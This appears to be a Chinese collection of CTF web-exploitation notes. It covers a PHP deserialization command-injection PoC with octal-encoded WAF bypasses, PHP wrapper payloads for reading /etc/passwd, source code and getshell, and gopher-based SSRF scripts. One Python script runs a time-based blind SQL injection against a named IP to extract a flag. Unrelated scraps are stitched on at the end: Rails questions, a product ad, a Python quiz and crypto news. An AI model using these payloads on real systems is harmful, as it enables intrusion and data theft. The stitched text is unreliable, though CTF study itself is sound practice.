<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
//构造函数,实例化的时候先调用这里,初始化两个参数
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//魔法函数,该函数会在类的一个对象被删除时自动调用
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args); //回调函数,可以将把一个数组参数作为回调函数的参数 call_user_func_array($fun,$arr);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
//匹配 | & ; 空格 / cat flag tac php ls 关键字返回str
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//__wakeup(),执行unserialize()时,先会调用这个函数/
function __wakeup(){
foreach($this->args as $k => $v) { //键值分离
$this->args[$k] = $this->waf($v); //把键值分离出的值$v放到waf函数进行过滤后再赋值
}
}
}
$ctf=@$_POST['ctf'];
//$ctf base64解码,然后反序列化,并返回原始的对象结构。
@unserialize(base64_decode($ctf));
?>
poc
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
//流程: 64解码,反序列化出一条实例化语句,调用了构造方法完成初始化,继续调用wakeup,将this->args中进行waf函数过滤。代码继续执行,结束之时,调用destruct函数,满足if 进入调用构造函数,间接调用ping函数中的exec。
/*
绕过:因为过滤了很多命令,这里查阅资料到一下绕过方式。
单引号、双引号、${Z}。例如ls 可以 'l""'
空格绕过:${IFS}
/绕过:$(printf "\154\163")ls命令,这个编码后可以拼接
"\154\163" 就是ls
把 cat$[IFS]flag_1s_here/xx.php 转成ascii 然后8进制 替换地方
最终$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
然后就和以前一样就行了,payload
*/
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
lett = oct(ord(i))
//这个主要是为了将八进制前面的0o替换掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\\"
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)
file://协议。用来读取本地的文件,当用于文件读取函数时可以用。
常见检测是否存在漏洞写法:
xxx/?file=file:///etc/passwd
此协议不受allow_url_fopen,allow_url_include配置影响
php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代码进行检验,如
<?php>phpinfo()?>
此协议受allow_url_include配置影响
php://filter协议。此协议一般用来查看源码
一般用法如下
xxx.xxx/?file=php://filter/read=convert.base64-encode/resource=index.php
出来的是base64码需要进行解码
此协议不受allow_url_fopen,allow_url_include配置影响
data://协议。需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
text/plain,表示的是文本
text/plain;base64, 若纯文本没用可用base64编码
dict://协议。与gopher协议一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。
常见用法:
探测端口指纹
192.168.0.0/?url=dict://192.168.0.0:6379
以上为探测6379(redis)端口的开发
反弹shell
convert.过滤器支持convert.iconv. 格式,使用方法:
convert.iconv.
或
convert.iconv.
例如:
convert.iconv.UCS-4.UCS-4BE ---> 将指定的文件从UCS-4转换为UCS-4BE 输出
iconv支持的字符集有
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
--------------------测试--------------------
http://61.147.171.105:63847/?filename=ph1p://filter/re1ad=conver.bas1e64/resource=check.php 不提示过滤
http://61.147.171.105:63847/?filename=ph1p://filter/read=conver.base64/resource=check.php 提示过滤
我们发现read base等关键字被过滤了
用转换过滤器绕过
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php

由此发现filename过滤了base,be,encode,print,zlib,quoted,write,rot12,read,string

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

data://:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm

提示不是内部用户无法访问
http://61.147.171.105:59242/use.php?url=127.0.0.1%2Fuse.php

gopher协议的格式:gopher://IP:port/_TCP/IP数据流
GET请求:
构造HTTP数据包,URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束
POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
Content-Length和POST的参数长度必须一致

import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码,中文编码
#print(tmp)
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞,HTTP包最后加%0d%0a代表消息结束
#print(new)
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)


我大概的猜测是,gopher携带的数据流从服务器发起请求index.php,数据流中携带的cookie:thisxxxx被index.php的requset接收到,并且查询产生了注入。
poc格式1 :admin') and if((length(database())>4),sleep(5),1)# //构造思路admin查到然后继续if函数
poc格式2 :') or if(1=1,sleep(5),1)# //这个不用写admin,不过这个条件成立之后,反映时间远超sleep的时间,不成立倒是秒反映
poc格式3 :') union select 1,2,if(1=1,sleep(10),1)# //这个是联合查询,前面查成功失败无所有,后面继续查询,但是我不了解为啥是select 三个字段,我猜是试出来的,时间盲注判断字段数我不知道,也没看到啥资料写。
//构造闭合
admin' and if((length(database())>4),sleep(5),1)#
admin" and if((length(database())>4),sleep(5),1)#
admin') and if((length(database())>4),sleep(5),1)#
') union select 1,2,if(1=1,sleep(5),1)# -----base64----->
JykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw==
import urllib.parse
host = "127.0.0.1:80"
cookie="this_is_your_cookie=JykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw=="
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DJykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw%253D%253D%250D%250A%250D%250A
存在盲注
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:49915/use.php?url="
flag=""
for pos in range(1,50): #从1-49
for i in range(33,127): #从ascii 33-127
poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " #mysql中的start是从1开始的
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
t1=time.time()
res=requests.get(url+final_poc)
t2=time.time()
if(t2-t1>2):
flag+=chr(i)
print(flag)
break
print(flag)
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<?php
if( !ini_get('display_errors') ) { //指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复
ini_set('display_errors', 'On');
}
error_reporting(E_ALL); //error_reporting() 函数规定报告哪个错误。E_ALL 所有的错误和警告的级别
$lan = $_COOKIE['language'];
//如果没有$lan就默认设置cookie,然后包含english.php,否则把$lan拼接包含。
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>
通过php伪协议读取去flag.php,然后被include出来

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
//获取$a的整数值,要求a>6000000并且长度小于3 ?a=9e+6&b=931858154640
//截取md5($b) -6,6 和 8b184b 比较
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
//{"m":"9999abc","n":[["666"],0]}
$c=(array)json_decode(@$_GET['c']); //jsondecode$c 变成数组格式
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c是数组,$c["m]不是数字 , $c["m] >2022 9999abc 强制转换成9999
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ //$c["n"]是数组,$c["n"]数量 = 2 , $c["n"][0] 是数组。
$d = array_search("DGGJ", $c["n"]); //在数组$c["n"]搜索DGGJ。array_search里面DGGJ和数字比较的时候会强制转换成0
$d === false?die("no..."):NULL; //如果$d是假,则结束
foreach($c["n"] as $key=>$val){ //数组$c["n"]键值分离,然后 如果有个值是DGGJ,结束
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
//满足key1 != 0 and key2 !=0
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...

Nginx,这个的话可以考虑.user.ini

常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded :
刚入门rails,开始慢慢理解。有人可以解释或给我一些关于在application_controller中编码的好处或时间和原因的想法吗?有哪些用例。您如何为Rails应用程序使用应用程序Controller?我不想在那里放太多代码,因为据我了解,每个请求都会调用此Controller。这是真的? 最佳答案 ApplicationController实际上是您应用程序中的每个其他Controller都将从中继承的类(尽管这不是强制性的)。我同意不要用太多代码弄乱它并保持干净整洁的态度,尽管在某些情况下ApplicationContr
无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD
1.在Python3中,下列关于数学运算结果正确的是:(B)a=10b=3print(a//b)print(a%b)print(a/b)A.3,3,3.3333...B.3,1,3.3333...C.3.3333...,3.3333...,3D.3.3333...,1,3.3333...解析: 在Python中,//表示地板除(向下取整),%表示取余,/表示除(Python2向下取整返回3)2.如下程序Python2会打印多少个数:(D)k=1000whilek>1: print(k)k=k/2A.1000 B.10C.11D.9解析: 按照题意每次循环K/2,直到K值小于等
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
我真的只是不确定这意味着什么或我应该做什么才能让网页在我的本地主机上运行。现在它只是显示一个错误,上面写着“我们很抱歉,但出了点问题。”当我运行railsserver并在chrome中打开localhost:3000时。这是控制台输出:StartedGET"/users/sign_in"for127.0.0.1at2013-07-0512:07:07-0400ProcessingbyDevise::SessionsController#newasHTMLCompleted500InternalServerErrorin55msNoMethodError(undefinedmethod`
抱歉,如果问题很明显,我才刚刚开始使用Rails。我现在在几个Controller方法中有以下代码:respond_todo|format|if@project.saveformat.html{redirect_to(edit_project_url(@project),:notice=>'#{user.name}addedto#{role}.')}format.jselseformat.html{render:action=>"edit"}format.js#...endend那么问题来了,对于所有方法中的错误,最好的方法是什么?是否建议我使用save!并在rescue_action
Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。11年前关闭。我是一位精通HTML
我目前正在为一个新网站设计版本化的API。我了解如何为路由命名空间,但我一直坚持在模型中实现版本化方法的最佳方式。下面的代码示例使用的是rails框架,但是事情的原理在大多数web框架之间应该是一致的。目前的路线看起来像这样:MyApp::Application.routes.drawdonamespace:apidonamespace:v1doresources:products,:only=>[:index,:show]endendend和Controller:classApi::V1::ProductsController很明显,我们只是在此处公开Product上可用的属性,如果
我正在尝试使用ruby来使用Sharepoint网络服务。我基本上已经放弃尝试使用NTLM进行身份验证,并暂时将Sharepoint服务器更改为使用基本身份验证。我已成功使用soap4r获得WSDL,但在尝试使用实际Web服务调用时仍然无法进行身份验证。有没有人有过让ruby和Sharepoint对话的经验? 最佳答案 我是个新手。但经过很多时间并在更多经验编码人员的帮助下,我能够让ruby与Sharepoint2010一起工作。下面的代码需要“ntlm/mechanize”gem。我已经能够使用列表GUID和ListV
2022年10月21日星期五【数据指标】加密货币总市值:$0.95万亿BTC市值占比:38.51%恐慌贪婪指数:23极度恐慌 【今日快讯】1、【政讯】1.1.1、美联储布拉德:市场预期美联储11月会加息75个基点1.1.2、美联储哈克:将维持加息一段时间1.2、美国10年期国债收益率触及4.197%,为2008年6月以来最高1.3、法国数字转型部长:政府将专注于DeFi和Web31.4、巴西ATM机将于11月3日起支持USDT1.5、美众议院副议长将于11月初加入a16zCrypto担任政府事务主管1.6、香港数字资产托管机构FirstDigitalTrust首席执行官:香港仍是安全